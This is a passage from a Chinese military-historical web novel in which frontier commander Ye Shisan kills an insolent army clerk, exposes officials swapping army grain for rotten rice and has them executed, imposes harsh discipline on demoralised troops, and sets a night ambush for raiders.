“乱糟糟的,都给老子起来站好了,不然老子如何登记?”
十几个从军部来的兵士,在一名甲正的带领下登记伤亡人数。
看到叶十三一行到了,甲正停了手中造册的活,上下打量叶十三一番,问道:“来者可是黄羊岘防区叶十三千户?”
叶十三骑在马上居高临下,并没有直面回答甲正的问话。
他把目光看向满院的伤兵,冷冷说道:“李狗子,给老子掌嘴!”
“遵命!”
叶十三身后的一匹战马上,跳下来一个身材魁梧,长相凶恶的探马来,大步走向不远处的甲正面前,一手攥住甲正的衣领,抡圆了巴掌左右开弓。
“啪啪啪……”
霎时间,只见甲正的一张脸,以肉眼可见的速度迅速肿了起来。
“你敢打我?”
喷出一口血沫的甲正,捂着肿得老高的脸又吼道:“你一个奴籍,敢打老子,老子可是军部派来的。”
“军部?”
“军部很牛吗?”
“军部是派你来耀武扬威的吗?”
叶十三一连三问,然后又是上前一步,指着甲正的眼窝说道:“驻村兵士在这里浴血奋战,他们死伤无数,既然你是军部派来的,那就该更加体恤他们,而不是让你对他们大吼大叫!”
说完,叶十三一瞥眼前的十几名军部来的兵卒,又问道:“既然是军部来的,我问你们,粮食带来了吗?治伤的郎中可有?”
“军部有军部的部署,还轮不到你这个奴籍过问。”
后退了两步的甲正,依然没有察觉到危险已经逼近,还硬着头皮硬顶了叶十三一句。
“既然没有,那好,留着你也是多余,这里用不上你这种杂碎!”
叶十三眼里寒芒闪过,心中已经杀机爆棚。
“仓啷!”
那把残刀,被叶十三缓缓抽了出来。
看到叶十三的手按在刀柄上,甲正惊恐地又退了两步。
当看清叶十三抽出来的刀时,甲正歪着嘴笑了,不屑地说道:“就你那也算刀?”
没等叶十三说话,甲正口气狂妄起来,轻蔑地看向叶十三手中的刀,讥笑道:“老子以为黄羊岘防区的千户有多厉害?就这破铁也能杀人?不知道军部的大人们是如何想的?居然让你这个奴籍当了千户,哼!”
“我乃军部晋升的千户,你一个甲正居然如此狂妄?”
“哈哈哈……千户?无非就是个替死鬼而已,一个奴籍,要是没有鞑子进犯,你有资格领兵吗?就你和你手中的那根破铁,还能杀人?”
“能不能杀人?”
面对甲正的讥笑,叶十三低头看了看自己手中的残刀,冷声又道:“怀疑无用,试试不就知道了?”
突然,叶十三猛然抬头,手中的残刀,划过一条灰黑色的弧线,然后又被插入刀鞘。
“咕……”
同时,一种奇怪的声音,从甲正的喉咙里发出,紧接着,甲正的脖子上,渐渐出现了一条红线。
刹那间,红线越来越宽,直到有殷红的人血,从缓缓变宽了的红线处狂喷而出。
“咕咚!”
甲正圆睁着一双惊恐万状的眼睛,脖子里狂喷着血柱就仰面倒了下去。
驻军大院霎时就混乱起来,叶十三镇定如斯,目光一扫纷乱的现场,厉声道:“伤兵无药可治,百姓无粮可食,你们居然还不知羞耻地在这里摆威风,谁给你们的胆子?又是谁给你们的脸?”
怒吼之下,军部来的兵士们,绝没想到这个奴籍会当众杀人?
而且,杀的还是军部的一名甲正。
“扑通……”
军部来的兵士们都跪了下来,急忙喊道:“千户大人明鉴,军部派我等登记战损,确实没有发粮食下来,至于赈济粮,那是地方衙门的事。”
地方衙门?
这帮鸟人!
眼下百姓手中无一粒粮食可果腹,他们居然还在相互推诿。
如此下去,就是鞑子不杀百姓,百姓也难活下去。
这时候,院子里的伤兵们纷纷挣扎着围了过来,七嘴八舌地向叶十三诉苦。
“大人,救救我们吧……”
不一会,跑散了的村民们,扶老携幼的也陆续涌向驻军大营。
“大人,东西都让鞑子抢光了,这叫我们如何活啊……”
第84章 兄弟,请借一步说话
面对如此惨状,叶十三头皮都麻了。
叶十三目光看向地方甲正的尸体,向军部来的人冷声说道:“把这个毫无人性的杂碎扔出去,然后给所有的伤员包扎伤口换药,谁敢偷懒,那个家伙就是你们的下场。”
“遵命,小的们这就去办。”
剩下的十几个军部来的兵士,哪敢违抗叶十三的话?急急忙忙就给驻军大营里受了伤的兵士们换药包扎。
“粮食都被鞑子抢光了,叫我们如何活呀……”
村民们又是一阵哭喊,跪在地上不肯起来。
粮行?
货栈?
面对悲痛欲绝的村民们,叶十三脑子里,突然闪过昨晚贾迎福临走时说过的那句话。
“这西河镇有几家粮行?”
叶十三把目光投向一名年长村民,随即就是一问。
年长村民迎着叶十三的目光,急忙答道:“回大人话,西河镇只有一家粮行,离这红柳滩村还有三十里地。”
“好!”
叶十三点点头,目光一扫眼前的村民,道:“大家尽量把跑散的乡亲们,都寻找一下归拢在一起,粮食会有的,非常时期,大家相互照应着点,村里能动的马车,组织起来到镇上的粮行,我先走一步。”
说完,叶十三飞身上马,由于用力过猛,差一点从马背的另一头给掉下去。
“出发,去镇上!”
一声令下,吴六子一挥手,十名骑兵探马纷纷跨上战马,跟着叶十三身后向西河镇的方向疾驰而去。
“大人,军部这些人也太狠了!”
落后叶十三半个马身的吴六子,愤愤不平的就是一句。
叶十三咬着牙,道:“上面命令,层层传达下来,到了地方就变了样,我就不信军部没有拨粮食下来?”
没错,军部既然知道红柳滩的遭遇,第一时间就是拨粮赈济,如此惨重的伤亡,军部不可能视若无睹。
“这西河镇的千户一死,百夫长们一手遮天,说不定粮食已经被这些人转手倒卖。”
吴六子对这些情况,当然是早有耳闻,军中这种烂事,已经屡见不鲜。
“不杀几个蛀虫,真当老子手里的刀是烂铁条了。”
面色阴沉的叶十三,狠狠的又是一句。
此言一出,吴六子心里明白,这一趟去镇上,又有人脑袋就要搬家了。
想到此处,吴六子回头看向身后的十名探马,吼道:“此去西河镇,看大人的眼色行事,哥几个都不要手软。”
“是。”
十名探马哪能不懂吴六子话中的意思?
经过郑一刀一段时间的训练,这些探马们不但刀法精进不少,更明显的是他们身上已经蕴藏着一种杀气。
趟子手出身的郑一刀,身上就有这种职业性的杀气,那不是一般步弓手能比的。
说话间,一行十二骑,不到一个时辰,就到了西河镇。
“大人快看,泰丰粮行?”
顺着一名探马所指,叶十三远远看到前面十字路口的街角,有一家悬挂着“泰丰粮行”匾额的店铺。
店铺位置绝佳,门头高大,后院也是宽绰有余,不少的房屋粮仓一目了然。
就是它了!
叶十三点点头,大手一挥吼道:“走,过去看看!”
一阵尘土飞扬过后,十二匹战马嘶鸣着,就直接冲到粮行门口。
“嗨嗨嗨!马不能拴这里,牵到后院去……”
泰丰粮行的一名伙计,看到叶十三们在粮行门口团团下马,急得撵了出来喊叫起来。
“啪!”
伙计还没赶到马前,吴六子甩过去的鞭子,已经在伙计的脸上抽出一团殷红的血花。
“啊……”
一声惨叫过后,被一鞭子抽蒙了的伙计,立即杀猪般的喊了起来。
“吃粮的无法无天,殴打平民百姓了,大伙给评评理啊!”
这一喊叫,霎时就围过来不少人。
造势?
利用悠悠众口先发制人?
看得出来,这伙计也不是个善茬。
一般平民百姓,被当兵吃粮是打了,也只有忍气吞声的份,哪里还敢如此吼叫造势?
“打的就是你,不长眼的东西!”
吴六子跳下马来,扬手又是一鞭子抽了过去。
“啊……疼死我了……”
这一鞭子,直接抽飞了伙计的半边耳朵。
呼啦啦,从泰丰粮行里面,突然涌出来一帮身穿革甲的兵卒。
“大胆,谁在此闹事?”
一名甲正模样的人,骂骂咧咧就走到近前。
“放肆!”
甲正看到吴六子的革甲,顿时一愣,吼道:“你哪部分的?”“你又是哪部分的?”
吴六子身后的叶十三开口了。
甲正一愣,随即把目光投向叶十三,上下打量一番,傲慢道:“看清楚了,老子是军部来的。”
“哦!”
叶十三下了马,把缰绳递给一旁的一名探马,缓缓走到甲正面前,道:“军部的人,何时成了泰丰粮行的伙计?”
“瞎了你的狗眼,老子是来粜粮的,不是什么伙计。”
甲正眉头一挑,胸脯一挺,大刺刺地分开两腿在粮行门口的台阶上一站。
“粜粮?冷冬寒天,军部种粮食了?”
叶十三冷着脸,又是一问。
“你才种粮食呢,老子是……”话说了一半的甲正,后面的话戛然而止,看面上的表情,似乎像是说漏了嘴。
“把账本给老子拿来!”
叶十三目光一转,向粮行门口的另外几个伙计伸出手去,让他们拿出粮行的账本。
“这位军爷息怒!”
一个貌似粮行账房的人,急忙从店铺里闪身出来,满脸堆笑地向叶十三抱拳一礼。
“老子要你拿账本出来!”
叶十三目光冷冷,紧盯着账房模样的人又是一句。
这时候,摸进后院的一名探马跑了过来,附耳向叶十三禀道:“大人,后院有官府的屯粮。”
官府的屯粮?
应该是在镇上的官仓,是如何出现在这民营粮行的后院?
此言一出,账房和甲正的脸上陡然色变。
叶十三闻言,不但没怒,反而笑了。
“走,后院看看!”
说着,叶十三迈开步子,直奔泰丰粮行的后院。
此时的后院,不但拴着几匹军马,还有十辆马车停放着。
几名伙计和几个兵卒,正在把一袋袋粮食,往粮行的一间粮仓搬运。
果然是军粮。
叶十三的目光,停在地上一袋粮食上面。
袋子的封口处,还打着军部特有的印签。
也就是说,这些粮食,是来自军部粮库的军粮无异。
“兄弟,有话好说!”
之前咋咋呼呼的甲正,霎时就没了方才嚣张的气焰,一溜烟跑了过来,向叶十三抱拳一礼,压低了声音说道:“兄弟,请借一步说话。”
这时候,一位貌似粮行掌柜的中年胖子,在账房的带领下,也急匆匆向叶十三这边赶了过来。
第85章 看谁狠得过谁?
“这位兄弟是?”
貌似掌柜的中年胖子,老远就向叶十三双拳一抱。
草!
老子还想如何找茬呢?
这倒好了,都自己跳出来了?
叶十三心里一阵得意,板起脸来说道:“你管老子是哪部分的?”
这话,让赶过来的甲正一愣。
貌似粮行掌柜的胖子,此时也到了叶十三面前。
“请问这位兄弟是?”
“老子当兵吃粮的,不然来你粮行干什么?”
叶十三张口就是一句车轱辘话,让这些人摸不着头脑。
就凭一身革甲,谁不知道你是当兵吃粮的?
这还用说?
人家是问你在军中是何身份?
叶十三身上穿的,还是一身普通兵卒穿的旧革甲,脚上那双靴子,还是从鞑子骑兵尸体上扒来的。
这种打扮,在底层兵营到处都是,别人当然看不出是什么身份的了。
“兄弟,借一步说话?”
甲正又是抱拳一礼,做了个“请”的手势,把叶十三带向院子里的一间屋子。
“这个,就算是老哥请兄弟你喝茶了!”
刚一进屋子,甲正把一锭十两的银子,就往叶十三的手里塞。
“喝茶?”
叶十三掂了掂被塞进手里的银锭,嘴角一拧说道:“老子肚子饿,缺粮食吃,喝茶能喝饱肚子?”
此言一出,甲正面颊一抽,随即又是一锭银子,塞进叶十三的另一只手里。
这时候,貌似掌柜的胖子,也跟着进了屋子。
“鄙人宋贵,是这粮行的掌柜,敢问兄弟何处高就?”
宋贵满脸堆笑,只等叶十三报上身份。
探老子的底细?
叶十三嘴角一扬,白眼珠子向上一翻,霸气说道:“兵营吃粮,贱名不提便罢。”
“呵呵!”
宋贵一怔,随即尬笑两声,从怀里摸出一张五十两的银票,往叶十三面前一递,饶有意味地说道:“这年头,都难,既然兄弟不想实说,老哥我也能体谅,毕竟,凡事的得隐藏三分为好。”
就在这时候,院子里的伙计和兵卒们,又从一间粮仓里搬出不少的米袋,把袋中的米往地上一倒。
被倒在地上的米,颗粒发黄,沙子和老鼠屎,还有米虫的尸体随处可见。
那些方才被搬进粮仓的军粮,已经被腾空了袋子,那些伙计和兵卒们,正准备把倒在地上的陈化粮,往军粮的袋子里装。
隔着窗户的破洞,这些勾当叶十三尽收眼底。
宋贵和甲正对视一眼,然后二人四目一起看向叶十三。
看叶十三一行的装束,那是当兵吃粮的身份无异,只要叶十三不节外生枝瞎嚷嚷,这事就不用担心。
“兄弟,知足吧,已经不少了。”甲正眉头一皱,话中隐隐带着不满。
宋贵也半眯着眼睛,紧盯着叶十三表情的变化,说道:“见着有份,兄弟你白得一份银子,今天的运气还真不错。”
叶十三笑了,笑得有些诡异。
“那些烂米陈粮,你们要运往哪里?”
此言一出,甲正陡然色变,沉下声来说道:“兄弟,既然银子拿了,就带着你的人找地方喝茶去,知道的多了对你没好处。”
“吕大人说得没错,银子你已经拿了,就不要管这些闲事了,多一事不如少一事,这年头活着不容易,这个道理你应该明白?”
宋贵也是一句,既给甲正帮腔,又提醒叶十三放聪明点。
“嘿!”
叶十三双手掂了掂两只手里的银锭,笑道:“老子还有个毛病,就是爱管闲事,今天这偷梁换柱的事不说个明白,老子还就白来了!”
偷梁换柱?
让叶十三直接给点破了。
“沙柳滩来的吧?”
叶十三的举动,引起了吕姓甲正的怀疑。
这些人土头土脸,除了刚发生过激战的沙柳滩,哪儿还有如此装束的兵卒?
“还真让你给猜着了,老子就是从沙柳滩来的。”
叶十三口气坚决,丝毫没有隐瞒的样子。
这下好了,甲正的脸都绿了,后悔方才唐突,已经把二十两银子送了出去。
宋贵也是懊恼不已,做贼心虚之下,白白损失了五十两银票。
早知道是从沙柳滩来的,怕他们干吗?
得知叶十三是从沙柳滩来的后,甲正霎时面露凶相,恶狠狠说道:“相识的,给老子赶快滚,就当什么都没发生过,不然……”
“不然又如何?”
叶十三偏偏不信这个邪,脖子一梗,还较上劲了。
甲正阴阴一笑,道:“小子,给老子听清楚了,拿着银子快滚,就当你也发了一笔横财,要是再不长眼,老子就以‘临阵脱逃’的罪名对你军法从事。”
临阵脱逃?
军法从事?
这个词都用烂了,真是哪里需要哪里搬。
叶十三好像真是一根筋,攥着手里的银子,索性往一张椅子上一坐,道:“老子还真不信这个邪,这战斗刚刚开始,如何就叫临阵脱逃?”
“哈哈哈……”
甲正仰头一阵狂笑,指着叶十三的鼻子又道:“沙柳滩村战事不明,你们身为驻村兵将,居然到处乱窜滋扰百姓,老子代表军部,直接将你拿下问罪也不是办不到。”
“这位兄弟,听鄙人一句劝吧!”
泰丰粮行的掌柜,也不想让事情闹大,赶忙上前打起了圆场又道:“吕大人也是军伍之人,体恤你们这些一线兵卒,但你也要见好就收,乖乖回去沙柳滩村坚守阵地,莫要让新来的千户大人抓了把柄。”
新来的千户大人?
这些鸟人,消息倒是灵通。
叶十三心里一阵发笑,面上不动声色,板着脸问道:“你也知道千户大人?”
这一问,宋贵把目光投向甲正。
甲正嘴角一扬,望着叶十三轻蔑地说道:“军部已经下了令,黄羊岘防区千户叶十三,接手西河镇辖区所有防务,要是再惹老子不高兴,老子直接把你交给叶大人处置。”
“好!”
叶十三不但没怕,反而叫了一声好来,然后继续说道:“你们这种偷梁换柱的无耻行径,想必是叶大人更为不容,到了叶大人面前,你们可别怂。”
说着,叶十三把两只手里的银锭往怀里一揣,然后扭头就走。
望着叶十三离开的背影,甲正说道:“到底还是怕了,一个底层兵卒,糊弄几个银子还不知足,真不知道说这种人什么好了!”
“是啊!”
宋贵也是点点头,笑道:“这年头,撑死胆大的,饿死胆小的,就看谁狠得过谁?一提叶十三,这混蛋还是怕了,这不,都跑没影了。”
正在二人洋洋得意的时候,叶十三已经出了粮行的后院,吴六子们也正在外面等着他。
“你们过来……”
叶十三忽然看到远处不少马车向这边驶来,知道是沙柳滩的人已经来了。
看着马车队伍越来越近,脸上不由得露出喜色,向吴六子们一招手,低声交代了一番。
第86章 砍下头来,立木示众
“叶千户大人到!”
忽然,泰丰粮行外面,吴六子铆足了劲高喊一声。
也正是这一声,惊得在后院的吕甲正和宋贵浑身一抖。
与此同时,一名伙计慌忙进来说道:“掌柜的,外面来了好多兵士和马车。”
“赶快装粮!”
宋贵一脸紧张,吩咐伙计一句,然后把目光投向甲正。
“吕大人,这叶十三如何这么快就来镇上了?”
“别紧张,应该是正常的军务交接,千万不能露出马脚。”
甲正狠瞪宋贵一眼,稳稳神又说道:“跟我出去迎接,见机行事,塞几个银子烧烧香,对以后也有好处。”
话是这样说着,但泰丰粮行掌柜宋贵,心头已经泛起惊天狂澜。
通天驿镇四通钱庄的事,他已经知晓。
为此,周敬堂还特意打发心腹,给他带话让千万小心叶十三这个人。
这才几天?
叶十三就这么到了?
而且,听军部来的甲正吕怀山说,军部已经下令让叶十三兼管西河镇的防务。
如此一来,粮行这只碗,就在叶十三的勺子底下扣着。
“宋掌柜,还愣着干什么?”
一脚已经踏出了房门的甲正吕怀山,发现宋贵还在原地发呆。
“快走,跟我去迎叶大人。”
说着,吕怀山正了正衣冠,胸膛一挺就从后院绕出去。
这货挺鸡贼,没有从粮行的后门进去穿向前厅。
此时的粮行门口,已经停满了马车,几十名兵卒齐齐列队立在马车旁边。
吕怀山带着几名兵卒,身后跟着忐忑不安的宋贵,快步走向粮行门口。
“戍边北防军俸饷司粮草甲正吕怀山,见过千户叶大人。”
吕怀山走到近前,搁着挡在眼前的一辆马车,单腿跪地低头向叶十三行礼。
“草民,西河镇泰丰粮行掌柜宋贵,参见千户叶大人!”
在吕怀山身后,宋贵双膝跪地,紧张得差点缩成一团。
叶十三背着身子,冷声问道:“你是俸饷司粮草甲正吕怀山?”
“正是下官。”
吕怀山低着头,急忙应了一句。
“正好,本千户还真有一事想请教吕甲正。”
“请教不敢当,千户大人请讲?”
“身为军门,监守自盗,倒卖军资该当何罪?”
“那还用说?当然是砍头示众了,若数额巨大者,可抄没家资,眷属充军罚苦役。”
吕怀山业务熟练,毫不思索张口就来,有理有据回答了叶十三的问话。
正当吕怀山回答完叶十三的提问,忽然脸色骤变。
这人声音,怎的如此熟悉?
吕怀山像是想起了什么?
猛然一抬头,正好看到叶十三转过身来,四目隔空相撞之下,吕怀山犹如雷击一样当场石化。
“你……你……是叶……”
浑身一阵僵硬的吕怀山,已经话不成句,筛糠一样抖了起来。
察觉有异的宋贵,缓缓抬头一望,顿时尾椎骨一紧,差点就窜出一股稀来。
映入眼帘的,是叶十三那似笑非笑的脸,正饶头意味地望向这边。
“既然吕甲正已经有了决断,况且人证物证俱在,那本千户就不浪费口舌了。”
说完,叶十三傲然转身,抬腿跨上粮行门前的台阶,目光投向吴六子,吼道:“将倒卖军资,贪墨军粮的犯官吕怀山、泰丰粮行掌柜宋贵二人拿下。”
自达到了西河镇,吴六子无时无刻就等这一声令下。
“遵命!”
吴六子嘴角一拧,把手一挥,十名探马如狼似虎,直接冲了过来,把吕怀山和宋贵二人摁倒在地捆绑了个结实。
“你,你这是栽赃陷害!”
情急之下,吕怀山挣扎着抬起头来,冲着叶十三喊了一句。
“你说本千户栽赃陷害?”
叶十三伸手入怀,拿出两锭银子和一张银票,高举着吼道:“你二人相互勾结,沆瀣一气贪墨军粮,向本千古行贿的贿银,这会还没捂热呢!”
这时候,早有被吴六子交代过的沙柳滩驻军兵卒,从后院拿来不少的空袋子,这些袋子上还明显地打着军部的印签。
已经被装好了袋子的陈粮烂米,也被抬了几袋出来倾倒在粮行门口的地上。
“偷梁换柱,竟然在本千户的眼皮底下发生,你二人还有何话说?”
一时间,泰丰粮行门口的街区,潮水一样挤满了围观的百姓。
“杀了这些狼心狗肺的东西,泰丰粮行历来都是大斗进,小斗出,坑害我们好多年了。”
“给驻军的军粮都敢贪墨倒卖,真是无法无天。”
“昨天沙柳滩村被鞑子抢了,驻军和村民都死了不少人,剩下的人都等这一口救命粮的,没想到这些人如此黑心。”
“丧尽天良的东西,不杀不足以平民愤。”
“幸好被新来的千户大人抓了个现行,不然会有多少人被饿死?”
“……”
义愤填膺的百姓们高声咒骂着,碎石和瓦块,犹如飞蝗一般,扔向被绑着跪在地上的吕怀山和宋贵二人。
吕怀山带来的那些运粮兵卒,全部都被怒不可遏的驻军兵卒控制在了粮行的后院。
粮行的账房,被气红了眼的驻军兵卒,一拳打掉了一口的牙齿,张嘴血洞一样的嘴还在大喊饶命。
接下来,当然是让所有参与的人招供画押了。
围观百姓的愤怒,一浪高过一浪。
要不是军纪约束,吕怀山和他带来的那些兵卒,会让愤怒爆棚的驻军兵卒们剁成肉酱的。
待一大张纸上写下的罪状,签满了名字和按完了手印,拿到吕怀山和宋贵眼前,让这两个罪魁祸首画押的时候,这才发现,二人已经被愤怒的百姓活活打死。
这一次,叶十三却没操刀杀人,却让泰丰粮行的掌柜由此送了性命。
至于撞在刀口上的甲正吕怀山,纯属是楼草打兔子,让叶十三白赚了个廉明清正的好名声。
望着头破血流,脑袋已经耷拉在胸前的吕怀山和宋贵二人,叶十三眉头一皱,冷声令道:“将此二人的脑袋砍下,立木示众!”
早有按捺不住的驻军兵卒们,已经手握佩刀,立在二人旁边等待叶十三的一声令下。
“咔嚓……咔嚓……”
随着人血的喷溅,两颗脑袋瞬间就被砍了下来滚落在地……
叶十三亲自签发了封存令,搬空了泰丰粮行后院里的所有粮食,然后把泰丰粮行的各个房屋全部给封了。
银票、现银、账册和粮食,被叶十三以抄没逆产的理由尽数卷走。
只把贴着封条的房子,留给西河镇的衙门。
就连泰丰粮行自有的马车,也都被装满了粮食,和沙柳滩村的马车队一起运到驻军大营。
泰丰粮行被查抄的消息,一股风一样,很快就传遍了整个万川郡。
第87章 绝不后退
沙柳滩村驻军大营。
望着堆得满院的粮食,村里老小们又喜又忧。
喜的是,他们有了粮食,就不会饿死人了。
但发愁的是,如此多的粮食,会引来鞑子更加疯狂的抢掠。
沙柳滩村的驻军,除了伤兵不算,能战之兵已不足百数。
“千户大人!”
百夫长郭威上前一礼,向叶十三说道:“死伤人数已经造册完毕,兵士们的抚恤金已经上报军部,可眼下这些粮食,分发给村民后还剩许多,这个?”
叶十三知道郭威的担忧,无非就是怕这些粮,会引来更大的灾祸。
眼下,军部只是让他接管西河镇的防务,并没有新的兵力补充过来。
下千户这顶纸糊的帽子,可真不好戴啊!
没粮,可以抄家。
没钱,可以想办法硬搞。
这没人,难道不成从百姓的炕头,绑一些妇孺弱小来凑数?
军部放出如此丰厚的嘉奖条件,目的就是为了鼓励兵士们勇歼敌人。
这嘉奖条件那可是从来没有过的丰厚。
但由于他的奴籍身份,又被地方衙门极力压制,加上冥顽不化的腐败,层层盘剥下来,这些嘉奖最后都成了一句空话。
下千户军职,那可是从六品衔。
说大也不大,但也不小了。
可眼下,加上黄羊岘在内的两处驻军,所领兵数还远不足千人。
迎着百夫长郭威不安的目光,叶十三笑道:“我就是要让人人都知道,沙柳滩村有粮,有吃不完的粮食。”
“大人,您就不怕上面调拨我们的这些粮食?”
既有元蒙鞑子虎视眈眈,又有上头的人会惦记着这粮食。
郭威的担心不无道理。
可叶十三却不以为然,摇头道:“说到底,粮食就是给人吃的,谁想调拨?也成,让吃粮的人来大营领兵器就可,这样还免了调拨之需的运输麻烦。”
“大人,您的意思?”
面对郭威的一问,叶十三点点头,道:“没错,沙柳滩村眼下有的是粮,有的是军饷,若要吃粮,划拨兵卒过来就成。”
以粮养战!
以饷屯兵。
如此一来,直接斩断了上面对这些粮食打歪主意的黑手。
任何名义来抽调粮食,都不会被允许,谁要是以缺粮为借口调拨,那么好了,直接让缺粮的兵马来沙柳滩。
如果没有兵马补充给沙柳滩,那么就闭嘴。
之前军部派来调查战损的那些兵士们,带着甲正的尸体,同时也记住了叶十三刚才的话,逃命一样离开了沙柳滩村。
草草用过晚饭,叶十三让吴六子再次传来沙柳滩驻军百夫长郭威。
“伤兵都安排好了?”
“回大人话,安排好了,伤兵,失家的村民,都被分头安置在无主的屋舍中。”
“好,能战之兵还有多少数?”
“回大人话,加上小的在内,趟子手和步弓手共有八十六人。”
“收集所有兵器,让他们挑选出最好用的,随时待命。”
“回大人话,所有兵器,均已挑选好了,剩余的残旧刀枪,已经登记入库。”
说完,郭威又道:“外面那些粮食,依小的之见,如此显眼恐怕容易招惹祸端,还是入库存放为好,就怕鞑子又来抢劫?”
“我还怕他们不来抢劫呢!”
叶十三一笑,又道:“粮食留在外面显眼处,就是等他们再次来抢。”
“大人……”
郭威大惊,急道:“眼下我们兵马不济,难敌鞑子的残暴凶悍。”
如此一说,叶十三心里更有谱了,斜瞥郭威一眼,缓缓问道:“你说说,袭击沙柳滩的鞑子,具体有多少兵马?”
“几百个,不,百十个……”
“到底是多少?”
叶十三的声音,冷到了极点,
紧盯着郭威游离不定的目光,冷声又道:“怕是不足五十人吧?”
“大人……”
郭威眼里闪过一丝惊慌,呆滞片刻,这才又道:“准确来说,应该是四十人上下,他们冲进大营乱砍一气,我方兵士大多在睡梦中被砍死砍伤,眼下这些,几乎都是反应快逃了出去这才幸免……”
“够了!”
叶十三双眼喷火,暴吼道:“要是我没猜错的话,鞑子血洗了驻军大营,又赶着村民把抢劫了的粮食物资运出边境,然后再杀了那些被迫运输粮食物资的村民是吧?”
“是,是……”
郭威的额头,已经流汗如瀑。
浑身抖得几乎站立不稳。
叶十三摆摆手,愠色又道:“居安思危,西河镇本来就不是首当其冲的地理位置,你们如此懈怠防务,居然让不足五十兵数的鞑子杀了个血流成河,还抢光了村民的牛羊,劫走了所有的存粮,看来西河镇千户罗远桥死的一点都不冤,甚至是死有余辜,他就是不死,也难逃军法处置。”
叶十三没想到,西河镇的防务会是如此潦草。
更没想到沙柳滩村的军心,也是涣散到了如此程度。
他们死不足惜,只可惜那些无辜的村民,替上层那些尸位素餐的鸟人们当了替死鬼。
此时,剩余的八十六个兵卒,列队在签房外面站着。
叶十三双手背后,站在签房门口的台阶上,目光如炬,一扫眼前兵士,提高了声调说道:“希望这些血的教训,能唤醒你们的血性。希望吃了我查抄来的粮食,能激发出你们的斗志。都给我把士气振作起来,一个个蔫头耷脑的,就像个被阉了的公羊,哪像一个戍边军伍的样子?”
说完,叶十三的目光,再一次从那些兵士们的脸上扫过。
“吴六子听令!”
“小的在。”
“即刻起,但凡懈怠防务者,斩!”
“遵命。”
“违抗军纪者,斩!”
“遵命。”
“凡向外面泄露军情,私通外敌者,斩!”
“遵命。”
叶十三眼里寒芒闪动,一口气下达了三条杀令。
这些兵卒,需要敲打。
不足五十人的鞑子兵,居然在驻军大营砍人如切菜,追赶着人数多他们几倍的大夏驻军到处跑,真他娘的丢人。
窝里横,窝里斗,成了大夏军队的常态现象,难怪鞑子称大夏的兵卒们为“两脚羊”来形容这些废物。
叶十三目光像狼一样,盯着眼前的兵卒们说道:“从即刻起,战损新规定,若是以身殉国者,但凡后背中刀、中箭者,一律取消抚恤金。”
这句狠话,可真狠!
那就是说,面对鞑子兵们举起的刀,只有正面迎上去拼杀,而不是转身就逃跑。
“还有,谁若是发现同伴逃跑,就地正法,可得嘉奖五两银子。”
叶十三又补充了一条。
杀一名逃兵,照样有嘉奖,而转身逃跑者,就会被同伴杀死。
百夫长郭威心头一凛,随即举起拳头高喊:“拼死杀敌,绝不后退!”
“拼死杀敌,绝不后退……”
八十六名兵卒,都像是被唤醒了血性一样,齐齐举起拳头暴吼起来。
成了!
叶十三要的,就是这份决心和效果。
第88章 快撤,我们被包围了
士气是有了。
算是一次战前动员吧!
口气强硬的叶十三,其实自己心里也没底。
就这些如此操蛋的兵卒,到底能有几分的战斗力?
他心里完全是没数的。
“吴六子听令!”
叶十三一望吴六子,沉声道:“抓紧时间用饭,稍后行动。”行动?
这时候,毫无敌情征兆,难道要越界出击?
一肚子疑问的吴六子,最终还是没有问叶十三,他知道,叶十三必定有自己的部署。
草草用过饭后,天色已经不早了。
叶十三目光看向沙柳滩村驻军百夫长郭威,吩咐道:“粮食就这样在院子中堆放好了,严禁一切烛火,营房内能不点灯就不点灯,时刻严防鞑子来犯。”
“末将遵命!”
郭威一脸紧张,预感着有事会在今夜发生。
此时,吴六子们已经准备好了弓箭,刀也被磨得铮亮。
“大人……”
吴六子望向叶十三,一脸沉着不显慌乱。
“嗯!”
叶十三点点头,道:“路线都勘察清楚了?”
“清楚了!”
吴六子点点头,一脸胸有成竹的架势。
“好!”
叫了一声好,叶十三大手一挥,率先就出了营房大门。
一行十二人没有骑马,顺着吴六子勘察好了的路线,步行了近两个时辰,这才来到一处残桓断垣边停了下来。
这处地方,离边境最近。
地形地貌颇为复杂,要是有人徒步潜入,还真不易被发现。
所以,沙柳滩村的烽火台,没有发现敌情事先示警,也是由于这个原因。
“如果我没猜错的话,他们还会来的!”
叶十三皱起眉头,紧紧盯着元蒙地界的方向。
“大人,您是说,我们从镇上拉来粮食的事,鞑子已经得到了情报?”
吴六子猜透了叶十三的意图,知道叶十三带他们来这地方,为的就是伏击前来抢粮的鞑子。
“应该是!”
叶十三回答得模棱两可,对于这个问题,他心里还真是没底。
如果不砍几个鞑子的脑袋给沙柳滩村的驻军们壮壮胆,沙柳滩村驻军的士气,就谈不上振作。
那些怂包软蛋们,对元蒙鞑子的惧怕,已经是深入骨髓了的。
郭威当然不知道叶十三的老辣,直想着这个千户来收拾残局,肚里肯定是有气了,发发火,整些狠话出来也是在所难免的。
但吴六子可不一样了,他在鹞子岭驻军中的时候,就听说过叶十三从一个捡狼粪的底层烽燧兵,一下子替代了什长,然后又杀了成百个鞑子,这才换来下千户这个军职,手里要是没几下子,那是混不出这等功勋的。
“大人!”
吴六子压低了声音,踌躇片刻,道:“沙柳滩村的惨案,发生得很是蹊跷,按理说,那些鞑子是掌握不了如此详细的情报,他们绕过所有人的视线,很精准地就摸到大营杀人,这未免太有些荒唐了吧?”
这小子,果然机灵。
和马成相比,马成只是小聪明,而吴六子还真有些大智慧。
能想到这一层,说明这人是有些脑子的。
叶十三点点头,道:“当初我也有这等怀疑,但怀疑只是怀疑,就等今晚我们这些人来证实了。”
“有奸细?”吴六子问。
“没错。”叶十三点点头,表示还真有。
“那我们……”
吴六子眼珠子一转,企图揣摩叶十三的最终意图。
叶十三直截了当,说道:“是有人把沙柳滩村的防务情况出卖给了鞑子,这才导致沙柳滩村被鞑子血洗,如果真有内奸,那么如此多的粮食被放在驻军大营,相信鞑子会得知这个消息后不会置之不理。”
“小的懂了。”
吴六子嘴角一扬,低声说道:“大人的意思,我们在此设伏,如果真有内奸把消息送出去,鞑子肯定会再次出动?”
“没错!”
叶十三点点头,道:“大伙藏好了,占据有利位置,咱们给它来个守株待兔。”
说话间,天色已经黑了下来,包括叶十三在内的一十二人,被分成了四组,从四个方向潜伏了下来。
月黑风高,夜凉如水。
不多时,月光如银纱,半遮半掩地洒在这片静谧而又暗藏杀机的土地上。
草丛之中,兵卒们身子紧贴着地面,和大地融为一体。叶十三目光坚定而冷峻,犹如夜空中的寒星,紧紧盯着前方鞑子即将出现的方向。
他坚信,今夜鞑子一定会来。
